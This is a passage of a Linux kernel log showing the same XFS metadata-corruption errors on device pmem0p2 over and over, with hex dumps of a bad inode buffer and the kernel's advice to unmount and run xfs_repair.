87.671730] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671731] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671732] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671733] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671735] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671736] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671777] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671778] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671779] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671780] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671781] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671782] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671783] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671784] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671785] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671787] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671794] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671795] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671796] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671797] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671798] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671799] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671800] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671800] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671802] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671803] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671814] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671815] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671816] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671817] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671818] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671819] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671820] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671821] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671822] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671824] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671863] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671864] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671865] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671866] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671867] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671868] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671869] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671877] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671879] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671881] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671890] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671891] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671891] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671892] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671893] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671895] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671896] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671897] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671898] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671899] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671917] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671918] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671919] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671920] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671921] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671922] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671923] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671924] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671926] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671927] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671973] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671975] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671975] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671976] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671977] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671978] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671979] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671980] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671982] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671983] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671990] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671991] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671992] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671993] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671994] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671995] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671996] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671997] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671998] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672002] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672036] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672038] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672038] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672039] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672040] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672041] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672042] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672043] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672044] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672046] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672087] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672088] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672089] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672090] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672091] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672092] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672093] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672094] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672096] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672097] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672104] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672105] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672106] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672107] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672108] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672108] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672109] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672110] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672112] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672113] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672124] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672126] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672127] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672129] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672130] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672131] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672133] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672134] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672137] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672140] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672183] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672184] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672185] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672186] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672187] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672188] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672189] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672190] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672191] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672193] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672200] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672200] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672201] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672202] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672203] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672204] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672205] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672206] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672208] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672209] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672221] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672225] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672226] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672227] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672228] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672228] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672229] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672230] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672232] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672233] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672278] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672279] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672280] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672281] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672282] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672283] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672284] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672285] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672286] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672288] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672295] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672296] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672296] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672298] ffff88040f7f1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672299] ffff88040f7f1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672300] ffff88040f7f1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672301] ffff88040f7f1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672302] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672303] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672304] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672315] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672316] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672317] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672318] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672319] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672320] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672321] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672322] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672324] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672325] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672379] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672380] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672381] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672382] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672383] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672384] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672385] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672386] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672387] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672389] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672396] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672397] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672398] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672399] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672400] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672401] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672402] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672403] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672404] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672405] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672424] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672425] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672426] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672428] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672429] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672430] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672430] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672431] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672433] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672434] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672479] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672481] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672483] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672485] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672486] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672487] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672488] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672490] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672492] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672494] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672504] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672506] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672507] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672508] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672509] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672511] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672513] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672515] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672517] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672519] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672537] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672539] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672540] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672541] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672542] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672542] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672543] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672545] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672546] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672547] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672590] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672592] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672593] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672594] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672596] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672597] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672599] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672600] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672602] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672604] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672617] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672618] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672619] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672621] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672623] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672624] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672626] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672628] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672630] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672632] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672649] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672650] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672652] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672653] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672653] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672654] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672655] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672656] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672658] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672659] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672704] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672705] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672705] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672706] ffff88040d3f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672707] ffff88040d3f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672709] ffff88040d3f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672710] ffff88040d3f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672711] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672712] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672713] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672721] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672721] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672722] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672723] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672724] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672725] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 